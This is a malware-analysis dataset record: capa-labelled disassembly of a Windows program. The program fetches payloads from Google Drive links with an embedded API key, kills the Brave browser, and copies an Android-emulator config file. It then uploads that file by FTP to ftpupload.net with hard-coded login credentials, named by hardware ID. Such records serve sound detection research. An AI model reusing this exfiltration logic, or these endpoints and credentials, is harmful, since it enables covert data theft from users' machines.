joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401bce
Capabilities:
Execute command

Disassembly:
push rbp
push rbx
sub rsp, 0x48
lea rbp, [rsp + 0x80]
lea rdx, str.Fetching_data...................._n
mov rcx, qword [0x0049c9d0]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
lea rax, [rbp - 0x51]
mov rcx, rax
call fcn.0044fb90
lea rdx, [rbp - 0x51]
lea rax, [rbp - 0x60]
mov r8, rdx
lea rdx, str.ss.txt
mov rcx, rax
call sym.std::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_char_const__std::allocator_char__const_
lea rax, [rbp - 0x45]
mov rcx, rax
call fcn.0044fb90
lea rdx, [rbp - 0x45]
lea rax, [rbp - 0x50]
mov r8, rdx
lea rdx, str.https:__www.googleapis.com_drive_v3_files_1ll8BsLU8_tncBRwu7E3u2R9i9OHDjNb3_altmediakeyAIzaSyD_QWLVRGx58NvbEhXEH5kknnFYpH20wmw
mov rcx, rax
call sym.std::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_char_const__std::allocator_char__const_
lea rdx, [rbp - 0x60]
lea rax, [rbp - 0x50]
mov rcx, rax
call sym.downloadFile_std::string__std::string_
mov dword [rbp - 0x44], eax
lea rax, [rbp - 0x50]
mov rcx, rax
call fcn.00459260
lea rax, [rbp - 0x45]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp - 0x60]
mov rcx, rax
call fcn.00459260
lea rax, [rbp - 0x51]
mov rcx, rax
call sym.std::allocator_char_::allocator__
cmp dword [rbp - 0x44], 0
js 0x401ca7
lea rdx, [0x00496252]
mov rcx, qword [0x0049c9d0]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov ecx, 0x320
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
jmp 0x401d19
lea rdx, str.Failed_to_fetch_data..............._n
mov rcx, qword [0x0049c9d0]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
lea rcx, str.pause
call sym.system
mov ecx, 1
call sym.exit
mov rbx, rax
lea rax, [rbp - 0x50]
mov rcx, rax
call fcn.00459260
jmp 0x401ce4
lea rax, [rbp - 0x45]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp - 0x60]
mov rcx, rax
call fcn.00459260
jmp 0x401d01
lea rax, [rbp - 0x51]
mov rcx, rax
call sym.std::allocator_char_::allocator__
mov rax, rbx
mov rcx, rax
call dbg._Unwind_Resume
nop
add rsp, 0x48
pop rbx
pop rbp
ret
Function at 0x4026a3
Capabilities:
Enumerate processes

Disassembly:
push rbp
sub rsp, 0x1c0
lea rbp, [rsp + 0x80]
mov eax, 0x130
mov dword [rbp - 0x10], eax
mov edx, 0
mov ecx, 2
call sym.CreateToolhelp32Snapshot
mov qword [rbp + 0x130], rax
lea rdx, [rbp - 0x10]
mov rax, qword [rbp + 0x130]
mov rcx, rax
call sym.Process32First
jmp 0x402772
lea rax, [rbp - 0x10]
add rax, 0x2c
lea rdx, str.AndroidProcess.exe
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x402772
mov eax, dword [rbp - 8]
mov r8d, eax
mov edx, 0
mov ecx, 0x410
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x128], rax
mov ecx, 0x48
lea rdx, [rbp - 0x60]
mov rax, qword [rbp + 0x128]
mov r8d, ecx
mov rcx, rax
call sym.GetProcessMemoryInfo
test eax, eax
setne al
test al, al
je 0x40275f
mov rax, qword [rbp - 0x50]
cmp rax, 0x14dc9380
jbe 0x40275f
mov eax, dword [rbp - 8]
mov dword [rbp + 0x13c], eax
jmp 0x402792
mov rax, qword [rbp + 0x128]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
lea rdx, [rbp - 0x10]
mov rax, qword [rbp + 0x130]
mov rcx, rax
call sym.Process32Next
test eax, eax
setne al
test al, al
jne 0x4026e9
mov rax, qword [rbp + 0x130]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, dword [rbp + 0x13c]
add rsp, 0x1c0
pop rbp
ret

Function at 0x4027b4
Capabilities:
Enumerate processes

Disassembly:
push rbp
sub rsp, 0x1c0
lea rbp, [rsp + 0x80]
mov eax, 0x130
mov dword [rbp - 0x10], eax
mov edx, 0
mov ecx, 2
call sym.CreateToolhelp32Snapshot
mov qword [rbp + 0x130], rax
lea rdx, [rbp - 0x10]
mov rax, qword [rbp + 0x130]
mov rcx, rax
call sym.Process32First
jmp 0x402883
lea rax, [rbp - 0x10]
add rax, 0x2c
lea rdx, str.aow_exe.exe
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x402883
mov eax, dword [rbp - 8]
mov r8d, eax
mov edx, 0
mov ecx, 0x410
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x128], rax
mov ecx, 0x48
lea rdx, [rbp - 0x60]
mov rax, qword [rbp + 0x128]
mov r8d, ecx
mov rcx, rax
call sym.GetProcessMemoryInfo
test eax, eax
setne al
test al, al
je 0x402870
mov rax, qword [rbp - 0x50]
cmp rax, 0x23c34600
jbe 0x402870
mov eax, dword [rbp - 8]
mov dword [rbp + 0x13c], eax
jmp 0x4028a3
mov rax, qword [rbp + 0x128]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
lea rdx, [rbp - 0x10]
mov rax, qword [rbp + 0x130]
mov rcx, rax
call sym.Process32Next
test eax, eax
setne al
test al, al
jne 0x4027fa
mov rax, qword [rbp + 0x130]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, dword [rbp + 0x13c]
add rsp, 0x1c0
pop rbp
ret
Function at 0x402b22
Capabilities:
Delete file

Disassembly:
push rbp
push rbx
sub rsp, 0x48
lea rbp, [rsp + 0x80]
lea rax, [rbp - 0x51]
mov rcx, rax
call fcn.0044fb90
lea rdx, [rbp - 0x51]
lea rax, [rbp - 0x60]
mov r8, rdx
lea rdx, [0x0049648c]
mov rcx, rax
call sym.std::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_char_const__std::allocator_char__const_
lea rax, [rbp - 0x45]
mov rcx, rax
call fcn.0044fb90
lea rdx, [rbp - 0x45]
lea rax, [rbp - 0x50]
mov r8, rdx
lea rdx, str.https:__www.googleapis.com_drive_v3_files_19swTxSfCJk8lBexOv8EXCq0UiYoIBZId_altmediakeyAIzaSyD_QWLVRGx58NvbEhXEH5kknnFYpH20wmw
mov rcx, rax
call sym.std::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_char_const__std::allocator_char__const_
lea rdx, [rbp - 0x60]
lea rax, [rbp - 0x50]
mov rcx, rax
call sym.downloadFile_std::string__std::string_
mov dword [rbp - 0x44], eax
lea rax, [rbp - 0x50]
mov rcx, rax
call fcn.00459260
lea rax, [rbp - 0x45]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp - 0x60]
mov rcx, rax
call fcn.00459260
lea rax, [rbp - 0x51]
mov rcx, rax
call sym.std::allocator_char_::allocator__
cmp dword [rbp - 0x44], 0
js 0x402bdc
lea rcx, [0x0049648c]
mov rax, qword [sym.imp.KERNEL32.dll_DeleteFileA]
call rax
mov eax, 0
jmp 0x402c30
call sym.start_key_system__
mov eax, 1
jmp 0x402c30
add rsp, 0x48
pop rbx
pop rbp
ret

Function at 0x402c37
Capabilities:
Download url
Receive data

Disassembly:
push rbp
push rbx
sub rsp, 0x48
lea rbp, [rsp + 0x80]
mov qword [rbp - 0x20], rcx
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp - 0x18]
mov rcx, rax
call method.std::string.c_str___const
mov rbx, rax
mov rcx, qword [rbp - 0x20]
call method.std::string.c_str___const
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8, rbx
mov rdx, rax
mov ecx, 0
call sym.URLDownloadToFileA
mov dword [rbp - 0x44], eax
mov eax, dword [rbp - 0x44]
add rsp, 0x48
pop rbx
pop rbp
ret
Function at 0x402c91
Capabilities:
Execute command

Disassembly:
push rbp
push rbx
sub rsp, 0x48
lea rbp, [rsp + 0x80]
lea rcx, [0x00496003]
call sym.system
lea rdx, str.Enter_Key_n
mov rcx, qword [0x0049c9d0]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.std::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp - 0x60]
mov rdx, rax
mov rcx, qword [0x0049c9a0]
call method.std::basic_istream_char__std::char_traits_char____std::operator___char__std::char_traits_char___std.allocator_char____std::basic_istream_char__std::char_traits_char_____std::basic_string_char__std::char_traits_char___std::allocator_char____
lea rdx, str.Checking_Key......_n
mov rcx, qword [0x0049c9d0]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
lea rdx, [rbp - 0x60]
lea rax, [rbp - 0x50]
mov rcx, rax
call method.std::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_std::string_const_
lea rax, [rbp - 0x50]
mov rcx, rax
call sym.key_checker_std::string_
test eax, eax
setne bl
lea rax, [rbp - 0x50]
mov rcx, rax
call fcn.00459260
test bl, bl
je 0x402d44
lea rdx, str.login_Successfull_n
mov rcx, qword [0x0049c9d0]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov ecx, 0x1f4
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
jmp 0x402d78
lea rdx, str.Key_not_exits_or_already_used_n
mov rcx, qword [0x0049c9d0]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov ecx, 0x44c
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
lea rcx, [0x00496003]
call sym.system
mov ebx, 0
jmp 0x402d7d
mov ebx, 1
lea rax, [rbp - 0x60]
mov rcx, rax
call fcn.00459260
cmp ebx, 1
je 0x402dbe
jmp 0x402cab
nop
add rsp, 0x48
pop rbx
pop rbp
ret
Function at 0x402dc6
Capabilities:
Execute command

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x80]
mov qword [rbp - 0x30], rcx
lea rcx, [0x00496003]
call sym.system
lea rdx, str.Checking_Key......_n
mov rcx, qword [0x0049c9d0]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
lea rax, [rbp - 0x60]
mov rdx, qword [rbp - 0x30]
mov rcx, rax
call method.std::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_std::string_const_
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.key_checker_std::string_
test eax, eax
setne bl
lea rax, [rbp - 0x60]
mov rcx, rax
call fcn.00459260
test bl, bl
je 0x402e50
lea rdx, str.login_Successfull_n
mov rcx, qword [0x0049c9d0]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov ecx, 0x1f4
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov eax, 1
jmp 0x402e9e
lea rdx, str.Key_not_exits_or_already_used_n
mov rcx, qword [0x0049c9d0]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov ecx, 0x44c
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
lea rcx, [0x00496003]
call sym.system
mov eax, 0
jmp 0x402e9e
add rsp, 0x38
pop rbx
pop rbp
ret
Function at 0x403924
Capabilities:
Set console window title

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x80]
mov ecx, 0
call sym.time
mov dword [rbp - 0x54], eax
lea rax, [rbp - 0x60]
mov edx, dword [rbp - 0x54]
mov rcx, rax
call sym.gen_int_
lea rax, [rbp - 0x60]
mov rcx, rax
call method.std::string.c_str___const
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
call rax
lea rax, [rbp - 0x60]
mov rcx, rax
call fcn.00459260
mov ecx, 0x3e8
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
add dword [rbp - 0x54], 1
jmp 0x40393f
Function at 0x403b2a
Capabilities:
Connect to http server
Copy file
Create http request
Delete file
Send file using ftp

Disassembly:
push rbp
push rsi
push rbx
sub rsp, 0x260
lea rbp, [rsp + 0x80]
lea rax, [rbp + 0x1bf]
mov rcx, rax
call fcn.0044fb90
lea rdx, [rbp + 0x1bf]
lea rax, [rbp + 0x1b0]
mov r8, rdx
lea rdx, str.C:Program_Files__x86_SmartGaGaProjectTitanEngine_vmconfig.ini
mov rcx, rax
call sym.std::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_char_const__std::allocator_char__const_
lea rax, [rbp + 0x1bf]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rdx, [rbp + 0x1b0]
lea rax, [rbp - 0x40]
mov r8d, 8
mov rcx, rax
call sym.std::basic_ifstream_char__std::char_traits_char___::basic_ifstream_std::string_const__std::_Ios_Openmode_
lea rax, [rbp - 0x40]
add rax, 0xd0
mov rcx, rax
call method.std::basic_ios_char__std::char_traits_char___.operator____const
test al, al
je 0x403bb8
mov esi, 1
mov ebx, 0
jmp 0x403d28
lea rax, [rbp + 0x1b0]
mov rcx, rax
call method.std::string.c_str___const
mov r8d, 0
lea rdx, str.C:_vn1.txt
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CopyFileA]
call rax
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.WININET.dll_InternetOpenA]
call rax
mov qword [rbp + 0x1d8], rax
mov rax, qword [rbp + 0x1d8]
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0x8000000
mov dword [rsp + 0x28], 1
lea rdx, str.STDON99
mov qword [rsp + 0x20], rdx
lea r9, str.epiz_29222625
mov r8d, 0x15
lea rdx, str.ftpupload.net
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetConnectA]
call rax
mov qword [rbp + 0x1d0], rax
mov ecx, 0
call sym.time
mov ecx, eax
call sym.srand
lea rax, [rbp + 0x1c0]
mov rcx, rax
call sym.get_hardware_id__
lea rax, [rbp + 0x1a0]
lea rdx, [rbp + 0x1c0]
mov r8, rdx
lea rdx, str._htdocs_sg_vn_
mov rcx, rax
call method.std::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____char_const__std::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp + 0x1c0]
mov rcx, rax
call fcn.00459260
lea rax, [rbp + 0x1a0]
lea rdx, [0x00496712]
mov rcx, rax
call method.std::string.operator_char_const_
lea rax, [rbp + 0x1a0]
mov rcx, rax
call method.std::string.c_str___const
mov rdx, rax
mov rax, qword [rbp + 0x1d0]
mov qword [rsp + 0x20], 0
mov r9d, 2
mov r8, rdx
lea rdx, str.C:_vn1.txt
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_FtpPutFileA]
call rax
lea rcx, str.C:_vn1.txt
mov rax, qword [sym.imp.KERNEL32.dll_DeleteFileA]
call rax
lea rax, [rbp + 0x1a0]
mov rcx, rax
call fcn.00459260
mov ebx, 1
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.00467540
cmp ebx, 1
je 0x403d40
mov ebx, 0
jmp 0x403d46
nop
mov ebx, 1
lea rax, [rbp + 0x1b0]
mov rcx, rax
call fcn.00459260
cmp ebx, 1
jne 0x403d5d
nop
jmp 0x403dd4
mov eax, esi
jmp 0x403dd4
add rsp, 0x260
pop rbx
pop rsi
pop rbp
ret
Function at 0x403ddf
Capabilities:
Connect to http server
Copy file
Create http request
Delete file
Send file using ftp

Disassembly:
push rbp
push rsi
push rbx
sub rsp, 0x260
lea rbp, [rsp + 0x80]
lea rax, [rbp + 0x1b0]
mov rcx, rax
call sym.get_vn_path__
lea rdx, [rbp + 0x1b0]
lea rax, [rbp - 0x40]
mov r8d, 8
mov rcx, rax
call sym.std::basic_ifstream_char__std::char_traits_char___::basic_ifstream_std::string_const__std::_Ios_Openmode_
lea rax, [rbp - 0x40]
add rax, 0xd0
mov rcx, rax
call method.std::basic_ios_char__std::char_traits_char___.operator____const
test al, al
je 0x403e3e
mov esi, 1
mov ebx, 0
jmp 0x403fae
lea rax, [rbp + 0x1b0]
mov rcx, rax
call method.std::string.c_str___const
mov r8d, 0
lea rdx, str.C:_vn.txt
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CopyFileA]
call rax
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.WININET.dll_InternetOpenA]
call rax
mov qword [rbp + 0x1d8], rax
mov rax, qword [rbp + 0x1d8]
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0x8000000
mov dword [rsp + 0x28], 1
lea rdx, str.STDON99
mov qword [rsp + 0x20], rdx
lea r9, str.epiz_29222625
mov r8d, 0x15
lea rdx, str.ftpupload.net
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetConnectA]
call rax
mov qword [rbp + 0x1d0], rax
mov ecx, 0
call sym.time
mov ecx, eax
call sym.srand
lea rax, [rbp + 0x1c0]
mov rcx, rax
call sym.get_hardware_id__
lea rax, [rbp + 0x1a0]
lea rdx, [rbp + 0x1c0]
mov r8, rdx
lea rdx, str._htdocs_vn_
mov rcx, rax
call method.std::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____char_const__std::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp + 0x1c0]
mov rcx, rax
call fcn.00459260
lea rax, [rbp + 0x1a0]
lea rdx, [0x00496712]
mov rcx, rax
call method.std::string.operator_char_const_
lea rax, [rbp + 0x1a0]
mov rcx, rax
call method.std::string.c_str___const
mov rdx, rax
mov rax, qword [rbp + 0x1d0]
mov qword [rsp + 0x20], 0
mov r9d, 2
mov r8, rdx
lea rdx, str.C:_vn.txt
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_FtpPutFileA]
call rax
lea rcx, str.C:_vn.txt
mov rax, qword [sym.imp.KERNEL32.dll_DeleteFileA]
call rax
lea rax, [rbp + 0x1a0]
mov rcx, rax
call fcn.00459260
mov ebx, 1
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.00467540
cmp ebx, 1
je 0x403fc6
mov ebx, 0
jmp 0x403fcc
nop
mov ebx, 1
lea rax, [rbp + 0x1b0]
mov rcx, rax
call fcn.00459260
cmp ebx, 1
jne 0x403fe3
nop
jmp 0x40403d
mov eax, esi
jmp 0x40403d
add rsp, 0x260
pop rbx
pop rsi
pop rbp
ret
Function at 0x404e82
Capabilities:
Create process on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov qword [rbp + 0x10], rcx
mov rcx, qword [rbp + 0x10]
call method.std::string.c_str___const
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8, rax
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_ShellExecuteA]
call rax
nop
add rsp, 0x30
pop rbp
ret

Function at 0x40504c
Capabilities:
Execute command

Disassembly:
push rbp
push rbx
sub rsp, 0x208
lea rbp, [rsp + 0x80]
lea rax, [rbp - 0x60]
mov r8d, 8
lea rdx, str.C:_ss.txt
mov rcx, rax
call sym.std::basic_ifstream_char__std::char_traits_char___::basic_ifstream_char_const__std::_Ios_Openmode_
lea rax, [rbp - 0x60]
add rax, 0xd0
mov rcx, rax
call method.std::basic_ios_char__std::char_traits_char___.operator_void___const
test rax, rax
setne al
test al, al
je 0x4050a8
lea rax, [rbp - 0x60]
mov rcx, rax
call method.std::basic_ifstream_char__std::char_traits_char___.close__
mov ebx, 0
jmp 0x40519a
lea rax, [rbp - 0x60]
mov rcx, rax
call method.std::basic_ifstream_char__std::char_traits_char___.close__
lea rcx, [0x00496003]
call sym.system
lea rdx, str.Select_Get_key_method................_n
mov rcx, qword [0x0049c9d0]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
lea rdx, str.Method_1__Method_2_n
mov rcx, qword [0x0049c9d0]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
lea rdx, [0x00496118]
mov rcx, qword [0x0049c9d0]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
lea rax, [rbp + 0x17f]
mov rdx, rax
mov rcx, qword [0x0049c9a0]
call fcn.0047cfc0
movzx eax, byte [rbp + 0x17f]
cmp al, 0x31
jne 0x405139
lea rcx, [0x00496003]
call sym.system
call sym.link_get_1__
lea rcx, [0x00496003]
call sym.system
jmp 0x405195
movzx eax, byte [rbp + 0x17f]
cmp al, 0x32
jne 0x405163
lea rcx, [0x00496003]
call sym.system
call sym.link_get_2__
lea rcx, [0x00496003]
call sym.system
jmp 0x405195
lea rdx, str.Invalid_choice..............._n
mov rcx, qword [0x0049c9d0]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov ecx, 0x3e8
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
lea rcx, [0x00496003]
call sym.system
jmp 0x4050b4
mov ebx, 1
lea rax, [rbp - 0x60]
mov rcx, rax
call fcn.00467540
cmp ebx, 1
je 0x4051ad
jmp 0x4051cb
nop
jmp 0x4051cb
add rsp, 0x208
pop rbx
pop rbp
ret
Function at 0x405792
Capabilities:
Enumerate processes

Disassembly:
push rbp
push rbx
sub rsp, 0x338
lea rbp, [rsp + 0x80]
lea rax, [rbp + 0xd0]
mov r8d, 8
lea rdx, str.C:_ss.txt
mov rcx, rax
call sym.std::basic_ifstream_char__std::char_traits_char___::basic_ifstream_char_const__std::_Ios_Openmode_
lea rax, [rbp + 0xd0]
add rax, 0xd0
mov rcx, rax
call method.std::basic_ios_char__std::char_traits_char___.operator_void___const
test rax, rax
setne al
test al, al
je 0x4057f2
lea rax, [rbp + 0xd0]
mov rcx, rax
call method.std::basic_ifstream_char__std::char_traits_char___.close__
jmp 0x4058ed
lea rax, [rbp + 0xd0]
mov rcx, rax
call method.std::basic_ifstream_char__std::char_traits_char___.close__
mov eax, 0x130
mov dword [rbp - 0x60], eax
mov edx, 0
mov ecx, 2
call sym.CreateToolhelp32Snapshot
mov qword [rbp + 0x2a8], rax
lea rdx, [rbp - 0x60]
mov rax, qword [rbp + 0x2a8]
mov rcx, rax
call sym.Process32First
cmp eax, 1
sete al
test al, al
je 0x4058c7
jmp 0x4058a6
lea rax, [rbp - 0x60]
add rax, 0x2c
lea rdx, str.brave.exe
mov rcx, rax
call sym.stricmp
test eax, eax
sete al
test al, al
je 0x4058a6
lea rdx, str.brave_found_n
mov rcx, qword [0x0049c9d0]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
call sym.do_kill_brave__
mov r9d, 0x41030
lea r8, str.Warning
lea rdx, str.Please_close_brave_browser
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_MessageBoxA]
call rax
mov ecx, 0
call sym.exit
lea rdx, [rbp - 0x60]
mov rax, qword [rbp + 0x2a8]
mov rcx, rax
call sym.Process32Next
cmp eax, 1
sete al
test al, al
jne 0x405842
mov rax, qword [rbp + 0x2a8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov ecx, 0x3e8
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
jmp 0x405801
lea rax, [rbp + 0xd0]
mov rcx, rax
call fcn.00467540
jmp 0x40591c
add rsp, 0x338
pop rbx
pop rbp
ret

Function at 0x405983
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push rbp
sub rsp, 0x160
lea rbp, [rsp + 0x80]
mov eax, 0x130
mov dword [rbp - 0x60], eax
mov edx, 0
mov ecx, 2
call sym.CreateToolhelp32Snapshot
mov qword [rbp + 0xd8], rax
lea rdx, [rbp - 0x60]
mov rax, qword [rbp + 0xd8]
mov rcx, rax
call sym.Process32First
cmp eax, 1
sete al
test al, al
je 0x405a45
jmp 0x405a28
lea rax, [rbp - 0x60]
add rax, 0x2c
lea rdx, str.brave.exe
mov rcx, rax
call sym.stricmp
test eax, eax
sete al
test al, al
je 0x405a28
mov eax, dword [rbp - 0x58]
mov r8d, eax
mov edx, 0
mov ecx, 0x1f0fff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0xd0], rax
mov rax, qword [rbp + 0xd0]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_TerminateProcess]
call rax
lea rdx, [rbp - 0x60]
mov rax, qword [rbp + 0xd8]
mov rcx, rax
call sym.Process32Next
cmp eax, 1
sete al
test al, al
jne 0x4059d0
mov rax, qword [rbp + 0xd8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov ecx, 0x3e8
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
jmp 0x405993